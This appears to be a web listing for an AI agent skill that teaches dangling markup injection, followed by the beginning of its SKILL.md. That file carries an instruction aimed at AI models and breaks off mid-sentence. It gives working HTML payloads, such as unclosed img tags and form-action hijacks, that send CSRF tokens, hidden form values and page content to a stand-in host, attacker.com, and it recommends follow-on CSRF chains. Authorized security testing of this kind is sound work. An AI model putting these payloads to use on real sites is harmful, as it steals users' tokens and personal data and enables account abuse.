
Dangling Markup Injection
Test whether HTML injection can still exfiltrate secrets when CSP, sanitizers, or WAFs block JavaScript execution on your web app.
Overview
Dangling Markup Injection is an agent skill for the Ship phase that exfiltrates page data through unclosed HTML tags when JavaScript execution is blocked by CSP, sanitizers, or WAFs.
Install
npx skills add https://github.com/yaklang/hack-skills --skill dangling-markup-injectionWhat is this skill?
- Exfiltrates data via unclosed img, form, base, meta, link, and table tags without executing script
- Targets CSRF tokens, pre-filled form values, and sensitive in-page content when XSS is blocked
- Routes to CSP bypass, CSRF, CRLF injection, and web-cache deception skills when those chains apply
- Documents browser-specific behavior so agents do not dismiss injection as non-exploitable under strict CSP
- Combines with other HTML-injection vectors when partial markup control is available
- Covers exfiltration via unclosed img, form, base, meta, link, and table markup patterns
- Explicitly targets CSRF tokens, pre-filled form values, and sensitive page content
Adoption & trust: 1.1k installs on skills.sh; 980 GitHub stars; 1/3 security scanners passed (skills.sh audits).
What problem does it solve?
You can inject HTML but scripts are blocked, so agents wrongly label the flaw as unexploitable and you never prove token or content leakage.
Who is it for?
Solo builders or indie teams running security reviews on SaaS or API-backed web apps where CSP or sanitization blocks classic XSS but HTML fragments still render.
Skip if: Teams who already have reliable script execution (use full XSS workflows instead) or anyone testing systems without explicit authorization.
When should I use this skill?
HTML injection is possible but JavaScript execution is blocked (CSP, sanitizer strips event handlers, WAF blocks script tags) and you need to exfiltrate CSRF tokens, session data, or page content.
What do I get? / Deliverables
You get a structured dangling-markup test plan, plausible exfiltration paths, and clear handoffs to CSRF or cache skills when stolen tokens enable follow-on abuse.
- Dangling-markup test cases and tag-selection rationale
- Documented exfiltration hypothesis and browser-specific notes
- Follow-on attack chain recommendations (e.g., CSRF using stolen tokens)
Recommended Skills
Journey fit
Canonical shelf is Ship → Security because the playbook is for authorized offensive testing and hardening before or after launch, not for greenfield product ideation. Dangling markup is an application-security technique used during penetration tests and security reviews of rendered HTML responses.
How it compares
Use when script-based XSS is off the table; it is a markup-exfiltration playbook, not a general CSP configuration guide.
Common Questions / FAQ
Who is dangling-markup-injection for?
It is for developers and security-minded solo builders who intercept or fuzz HTML contexts and need a methodical way to prove impact without JavaScript.
When should I use dangling-markup-injection?
Use it during Ship security work when injection is possible but event handlers, script tags, or inline JS are stripped or blocked by CSP or WAF rules.
Is dangling-markup-injection safe to install?
Treat it as offensive-security guidance only on permitted targets; review the Security Audits panel on this Prism page before installing and never aim exfiltration endpoints at third-party systems without consent.
Workflow Chain
Then invoke: csrf cross site request forgery, csp bypass advanced
SKILL.md
READMESKILL.md - Dangling Markup Injection
# SKILL: Dangling Markup Injection — Exfiltration Without JavaScript > **AI LOAD INSTRUCTION**: Covers dangling markup exfiltration via unclosed img/form/base/meta/link/table tags, what can be stolen (CSRF tokens, pre-filled form values, sensitive content), browser-specific behavior, and combinations with other attacks. Base models often overlook this technique entirely when CSP blocks scripts, jumping to "not exploitable" — dangling markup is the answer. ## 0. RELATED ROUTING - [xss-cross-site-scripting](../xss-cross-site-scripting/SKILL.md) when full XSS is possible (no need for dangling markup) - [csp-bypass-advanced](../csp-bypass-advanced/SKILL.md) when CSP blocks JS execution — dangling markup bypasses script restrictions - [csrf-cross-site-request-forgery](../csrf-cross-site-request-forgery/SKILL.md) when dangling markup steals CSRF tokens for subsequent CSRF attacks - [crlf-injection](../crlf-injection/SKILL.md) when CRLF enables HTML injection in HTTP response - [web-cache-deception](../web-cache-deception/SKILL.md) when dangling markup + cache poisoning amplifies the attack --- ## 1. WHEN TO USE DANGLING MARKUP You need dangling markup when ALL of these are true: 1. You have an HTML injection point (reflected or stored) 2. JavaScript execution is blocked: - CSP blocks inline scripts and event handlers - Sanitizer strips `<script>`, `onerror`, `onload`, etc. - WAF blocks known XSS patterns 3. The page contains sensitive data AFTER your injection point: - CSRF tokens - Pre-filled form values (email, username, API keys) - Session identifiers in hidden fields - Sensitive user content **Core insight**: You don't need JavaScript to exfiltrate data — you just need the browser to make a request that includes the data in the URL. --- ## 2. CORE TECHNIQUE Inject an unclosed HTML tag with a `src`, `href`, `action`, or similar attribute pointing to your server. The unclosed attribute quote "consumes" all subsequent page content until the browser finds a matching quote. ```html Page before injection: <div>Hello USER_INPUT</div> <form> <input type="hidden" name="csrf" value="SECRET_TOKEN_123"> <input type="text" name="email" value="user@target.com"> </form> Injected payload: <img src="https://attacker.com/collect? Resulting HTML: <div>Hello <img src="https://attacker.com/collect?</div> <form> <input type="hidden" name="csrf" value="SECRET_TOKEN_123"> <input type="text" name="email" value="user@target.com"> </form> ...rest of page until next matching quote (")... ``` The browser interprets everything from `https://attacker.com/collect?` until the next `"` as the URL. The hidden CSRF token and email value become part of the URL query string sent to `attacker.com`. --- ## 3. EXFILTRATION VECTORS ### 3.1 Image Tag (Most Common) ```html <!-- Double-quote context --> <img src="https://attacker.com/collect? <!-- Single-quote context --> <img src='https://attacker.com/collect? <!-- Backtick context (IE only, legacy) --> <img src=`https://attacker.com/collect? ``` The browser sends a GET request to `attacker.com` with all consumed content as query parameters. **Blocked by**: `img-src` CSP directive ### 3.2 Form Action Hijack ```html <form action="https://attacker.com/collect"> <button>Click to continue</button> <!-- ``` If the page has form elements after the injection point, the next `</form>` closes the attacker's form. All input fields between become part of the attacker's form → submitted to attacker on user interaction. **Blocked by**: `form-action` CSP directive **Trick**: Even without user interac